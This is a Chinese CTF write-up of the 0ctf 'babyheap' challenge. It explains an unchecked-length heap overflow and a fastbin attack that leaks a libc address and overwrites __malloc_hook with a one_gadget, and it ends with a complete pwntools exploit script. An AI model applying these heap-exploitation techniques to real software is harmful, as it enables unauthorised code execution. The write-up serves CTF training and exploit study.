0ctfbabyheap 程序分析
程序主要分为四个功能:Allocate,Fill,Free,Dump
Allocate:
依次按照下标分配,最多为16个chunk,首先判断是否为using chunk,输入size后最大为0x1000,使用calloc分配空间(相较于malloc函数,calloc函数会自动将内存初始化为0)然后更新记录结构体的FLAG、size,content_ptr
Fill:
输入下标后判断下标是否在范围内,然后判断对应下标的记录结构体FLAG位是否是1(using or not),然后输入size,判断size是否大于0,然后直接输入,此处并未做输入大小检查
Free:
输入下标,判断是否在范围内,然后判断using or not,接着置记录结构体FLAG位为0,size为0,然后free掉content_ptr指针并置零
Dump:
输入下标后判断是否在范围内,判断using or not,然后按记录的size打印内容
Exploit: 多calloc几个chunk之后可以利用Fill的漏洞修改相邻chunk的size还有内容
1 2 3 4 5 6 7 8 alloc(0x20 ) alloc(0x20 ) alloc(0x20 ) alloc(0x20 ) alloc(0x80 ) alloc(0x20 ) free(1 ) free(2 )
此时chunk 1,2位于fastbin中,且chunk 2的fd指向chunk 1,通过Fill chunk 0,可以达到修改chunk 2 fd,使其指向chunk 4,然后通过Fill chunk 3 修改chunk 4的size,避免fastbin attack时size不同而出错
1 2 3 4 5 6 7 8 9 10 payload = p64(0 )*5 payload += p64(0x31 ) payload += p64(0 )*5 payload += p64(0x31 ) payload += p8(0xc0 ) fill(0 , payload) payload = p64(0 )*5 payload += p64(0x31 ) fill(3 , payload)
然后再通过chunk 3修改chunk 4的大小,这样在free chunk 4 之后chunk 4的fd还有bk就会指向 main_arena
1 2 3 4 5 payload = p64(0 )*5 payload += p64(0x91 ) fill(3 , payload) free(4 )
此时Dump chunk 2就可以获得 fd & bk的值,从而获得libc base
1 libc_base = u64(dump(2 )[:8 ]) - 0x3c4b78
此时可想办法利用__malloc_hook,将one_gadget填入,当__malloc_hook不为0时即可调用
由于index 2此时指向的依然是chunk 4,我们可以对free掉的chunk 4的fd做修改,再次利用fastbin attack申请到一个包含\ malloc_hook的堆块,不过此时要缩小其大小,让chunk 4的size在fast chunk之内
利用fastbin attack申请一个包含\ malloc_hook的堆块需要对应的地方有合适的size
当偏移加上0xd之后,利用此处的0x7f size来构造一个chunk,所以我们要将free后在usorted bin中的chunk 4分割,calloc(0x60)然后free之后即可利用chunk 3来修改其fd
1 2 3 4 5 6 alloc(0x60 ) free(4 ) fill(2 , p64(libc_base + 0x3c4aed )) alloc(0x60 ) alloc(0x60 )
最后利用
1 2 3 4 5 6 payload = '\x00' *3 payload += p64(0 )*2 payload += p64(libc_base + 0x4526a ) fill(6 , payload) alloc(255 )
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from __future__ import print_functionfrom pwn import *binary = './0ctfbabyheap' context.binary = binary context.log_level='debug' pty = process.PTY p = process(binary, aslr = 1 , stdin=pty, stdout=pty) elf = ELF(binary) libc = elf.libc my_u64 = lambda x: u64(x.ljust(8 , '\0' )) ub_offset = 0x3c4b30 codebase = 0x555555554000 def alloc (size) : p.sendline('1' ) p.sendlineafter(': ' , str(size)) p.recvuntil(': ' , timeout=1 ) def fill (idx, data) : p.sendline('2' ) p.sendlineafter(': ' , str(idx)) p.sendlineafter(': ' , str(len(data))) p.sendafter(': ' , data) p.recvuntil(': ' ) def free (idx) : p.sendline('3' ) p.sendlineafter(': ' , str(idx)) p.recvuntil(': ' ) def dump (idx) : p.sendline('4' ) p.sendlineafter(': ' , str(idx)) p.recvuntil(': \n' ) data = p.recvline() p.recvuntil(': ' ) return data def exploit () : p.recvuntil(': ' ) alloc(0x20 ) alloc(0x20 ) alloc(0x20 ) alloc(0x20 ) alloc(0x80 ) alloc(0x20 ) free(1 ) free(2 ) payload = p64(0 )*5 payload += p64(0x31 ) payload += p64(0 )*5 payload += p64(0x31 ) payload += p8(0xc0 ) fill(0 , payload) payload = p64(0 )*5 payload += p64(0x31 ) fill(3 , payload) alloc(0x20 ) alloc(0x20 ) payload = p64(0 )*5 payload += p64(0x91 ) fill(3 , payload) free(4 ) libc_base = u64(dump(2 )[:8 ]) - 0x3c4b78 log.info("libc_base: " + hex(libc_base)) alloc(0x60 ) free(4 ) fill(2 , p64(libc_base + 0x3c4aed )) alloc(0x60 ) alloc(0x60 ) payload = '\x00' *3 payload += p64(0 )*2 payload += p64(libc_base + 0x4526a ) fill(6 , payload) alloc(255 ) exploit() p.interactive()